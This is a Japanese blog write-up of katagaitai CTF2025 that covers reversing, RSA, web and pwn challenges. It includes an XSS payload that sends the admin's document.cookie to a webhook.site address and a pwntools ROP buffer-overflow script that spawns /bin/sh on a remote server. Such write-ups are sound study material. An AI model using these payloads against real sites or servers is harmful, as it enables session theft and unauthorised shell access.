katagaitai CTF2025 WriteUp

2025/01/27に公開

概要

katagaitai CTF2025に参加しました!時間内に解けたのはrev1問、Crypto1問、Web8問でした。pwnの問題(firstpwn)も終わった後に解けたのでWriteUpを書いておきます。順位は17/82位でした。

[Rev] operand

以下のように文字列を入力してフラグと一致するかを確認する実行ファイルです。

$ ./operand
flag> AAAAAAA
You have wrong flag..

解析にはGhidraを使いました。mainのデコンパイル結果を見るとフラグのような文字列 >4!424<!4<x\x16\x01\x13.\"=f\'f\nd`\n\'1dj(_ を発見。ただ読めない形になっています。

xorの処理があったので、これでフラグを暗号化していると思いました。xor関数の中身を見ると1文字ずつ0x55でxorしていました。なのでもう一度0x55でxorをするとフラグが復号できます。以下のスクリプトで復号しました。
Flag -> katagaitai-CTF{wh3r3_15_rd1?}

solver.py
def xor(data):
    return ''.join(chr(ord(c) ^ 0x55) for c in data)

flag = xor(">4!424<!4<x\x16\x01\x13.\"=f'f\nd`\n'1dj(_")
print(flag)

[Crypto] triple prime number

RSA暗号です。Nとe(秘密鍵)とc(暗号文)が与えられています。qはpの3倍以上で一番最初に来る素数になっています。q \approx 3p なので

N=p*q \approx p*3p \approx 3p^2

よって p \approx \sqrt{\frac{N}{3}} になります。なので \sqrt{\frac{N}{3}} の値から小さい方向に向かって最初に見つかる素数がpになります。pが見つかるとqも分かるため、以下のスクリプトで復号できます。
Flag -> katagaitai-CTF{7w0_pr1m3_numb3r5_mu57_b3_1nd3p3nd3n7}

solver.py
from math import isqrt
from Crypto.Util.number import long_to_bytes, isPrime

N = [与えられたNの値]
e = 0x10001
c = [与えられたcの値]

def previous_prime(n):
    while True:
        n -= 1
        if isPrime(n):
            return n

p = previous_prime(isqrt(N // 3))
q = N // p
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
m=pow(c,d,N)
print(long_to_bytes(int(m)))

[Web] HTTP world Pt.1

ソースコードに載っていました。
Flag -> katagaitai-CTF{HT_of_HTML_and_HTTP_means_HyperText}

[Web] HTTP world Pt.2

レスポンスヘッダ―のx-katagaitai-flagに載っていました。
Flag -> katagaitai-CTF{header_shoulder_knees_and_toes_gaitai}

[Web] HTTP world Pt.3

GET、POST、PUT、DELETEメソッドを送信するとフラグがもらえます。
Flag -> katagaitai-CTF{Gakkari_shite_Method_Method_shite}

[Web] Parroting

入力した文字列を表示するWebアプリです。問題文にalert関数を呼び出すとフラグがもらえると書いてありました。入力にHTMLを入れるとエスケープされずに表示されるので、以下のスクリプトでalert関数を呼び出します。
Flag -> katagaitai-CTF{:parrot:_Slack_Emoji_Alias_Has_Conflicted_So_Sad}

<script>alert("hello")</script>

[Web] OpenAPI

メッセージを返すAPIがあり、適切なデータを送信するとフラグがもらえます。
APIの仕様に主催チームの会社名を英語で送信するとフラグがもらえると書いてありました。
Chrome拡張機能のTalend API Testerで以下のHTTPリクエストを送信してフラグを取得しました。
Flag -> katagaitai-CTF{API_d0cum3n74710n_1s_3xtr3m31y_1mp0r74n7}

[Web] XSSNS Pt.1

掲示板のwebアプリです。
問題文にマイページをAdminに巡回してもらうとフラグがもらえると書いていました。マイページのURLをAdminに報告してフラグを取得しました。
Flag -> katagaitai-CTF{mixi_2_15_n0w_4v4114b13

[Web] XSSNS Pt.2

XSSNS Pt.1の続きです。問題文にAdminが巡回する際のHTTPリクエストのuser-agentにフラグが載っていると書いていました。なので以下のスクリプトを投稿して、その投稿のURLをAdminに報告するとフラグを取得できます。
Flag -> katagaitai-CTF{Mozilla_AppleWebKit_Gecko_Chrome_Safari_CHAOS}

<script>window.location.href = "webhook.site/[webhookID]";</script>

[Web] XSSNS Pt.3

XSSNS Pt.1、XSSNS Pt.2の続きです。管理者の投稿にフラグが載っています。cookieに入っているトークンを用いてユーザーを判別しているため、Adminのcookieが分かればAdminとしてログインできそうです。以下のスクリプトのようにURLクエリを介してAdminのcookieを取得します。

<script>
cookies = document.cookie;
window.location.href = `https://webhook.site/[webhookID]/${cookies}`;
</script>

スクリプトを投稿して管理者に報告するとAdminのトークンを取得できました。自分のトークンをAdminのトークンに変更して画面を更新すると管理者のマイページに入ることができます。投稿されている記事にフラグが載っています。
Flag -> katagaitai-CTF{y0u_4r3_41r34dy_an_XSS_3ng1n33r}

[Pwn] firstpwn

CTFが終わった後に解けました。解き方は講義資料に載っていた演習問題と全く一緒でした。ただ、解き方は同じでも、ツールの使い方や特定のアドレスの調べ方など、資料に載っていない情報は何も分からなかったので進めるのに苦労しました。

この問題は、サーバで動いている実行ファイル上でバッファオーバーランを起こして、シェルを奪取する問題でした。提供されたのは実行ファイルと以下のようなソースコードの一部です。

vuln_func.c
void vuln_func()
{
  char buf1[0x40];
  unsigned long var_1 = 0xcafebabedeabbeef;

  print_stack(buf1);
  
  puts("[*] Please input data in 'buf1' ...");
  gets(buf1);
}

戦略としては、buf1をオーバーフローさせてmain関数へのリターンアドレスを書き換え、system関数に飛ばしてsystem("/bin/sh")を実行させる流れになります。ただ、system関数には引数"/bin/sh"を渡す必要があります。x64系のCPUはRDIレジスタを介して引数を渡すので、RDIレジスタに文字列"/bin/sh"のアドレスを設定する必要があります。

それを実現するためにはROP(Return-oriented programming)というテクニックが使えると言っていました。これは実行ファイル内から欲しい命令を個別に見つけ、それらを組み合わせて任意の命令を実行するテクニックのことです。具体的には以下のような命令の組み合わせで、RDIレジスタに任意の値を設定することができます。

pop rdi; ret;

pop rdiはスタックの一番上にある値をRDIレジスタに移動する命令で、retはスタックの一番上にある値が指すアドレスにジャンプする命令です。なのでこれらを組み合わせると、RDIレジスタに引数を格納して任意の関数を引数付きで実行させることができます。

よって、スタック上に配置する具体的なデータは以下のようになります。

  1. mainへのリターンアドレスが格納されている領域までを埋める文字 (88バイト)
  2. pop rdi; ret;の命令が格納されているアドレス
  3. "/bin/sh"が格納されているアドレス
  4. ret;命令が格納されているアドレス (後ほど説明します)
  5. system関数が格納されているアドレス

「mainへのリターンアドレスが格納されている領域までを埋める文字」の文字数は、gdbで動かしながら調べました。gets関数で文字"AAAAAAAAAAAAAAAA"を入力したときのスタックの状態は以下のようになっていました。

変数buf1の領域とmain関数へのリターンアドレスが格納されている領域が分かりました。buf1の先頭からリターンアドレスまでは88バイトの隙間があるので、リターンアドレスを上書きするためには88個の文字で埋める必要があります。

また、事前講義でx64系CPUには関数を実行する直前のスタックトップのアドレス(RSPレジスタ)を16の倍数にするルールがあると言っていました(調べてみると色々ルールがあるみたいです → https://yaya.lsv.jp/x64-calling-convention/ )。なので4番目に何もしないret命令を入れてアドレスを調整する必要があります。

あとは、以下のアドレスを調べる必要があります。

  1. pop rdi; ret;ret;命令が格納されているアドレス
  2. "/bin/sh"が格納されているアドレス
  3. system関数が格納されているアドレス

それぞれ以下のコマンドで調べることができます。

  1. 標準ライブラリ関数system関数のアドレスの探し方
$ objdump -d -M intel chall | grep system -A 10
0000000000401040 <system@plt>:
(略)
  1. pop_rdi_ret, retのROPガジェットの探し方
$ ROPgadget --binary chall --only "pop|rdi|ret"
Gadgets information
============================================================
(略)
0x00000000004013c3 : pop rdi ; ret
(略)
0x000000000040101a : ret
(略)
  1. "/bin/sh"のアドレスの探し方
$ python
>>> from pwn import *
>>> e = ELF('chall')
>>> for address in e.search('/bin/sh\x00'):
>>>     print(hex(address))
<stdin>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
0x402008

調べたアドレスを以下にまとめます。

必要な情報 アドレス
system関数 0x401040
ROP gadget pop rdi; ret; 0x4013c3
ROP gadget ret; 0x40101a
文字列 "/bin/sh" 0x402008

以下のスクリプトでシェルを実行できるか確認します。

solver.py
from pwn import *

target = process("./chall")

payload = b"A" * 88
payload += p64(0x4013c3)
payload += p64(0x402008)
payload += p64(0x40101a)
payload += p64(0x401040)

target.sendline(payload)
target.interactive()

シェルを実行できました!

あとはスクリプトのtarget = process("./chall")target = remote([URL], [port])に変えて、サーバ上で動いている実行ファイルに対しても同じことをします。フラグをゲットできました!

感想

今までは毎回1,2問程度しか解くことができませんでしたが、今回はいつもより多くの問題を解くことができました。事前に行ったジャンルごとの解き方の解説が非常に役立ち、それまで手を付けられなかったカテゴリにも挑戦できたことが大きかったと思います。

Pwn分野については、これまではWriteUpを読んでも前提知識が足りず挫折することが多かったのですが、事前講義で問題を解くために必要な知識が丁寧に説明されており、頑張って解くことができました。

本当に良い学びの機会になりました。休日にもかかわらず開催してくださったNRIセキュアテクノロジーズ株式会社、katagaitaiメンバーの皆様、本当にありがとうございました。

Discussion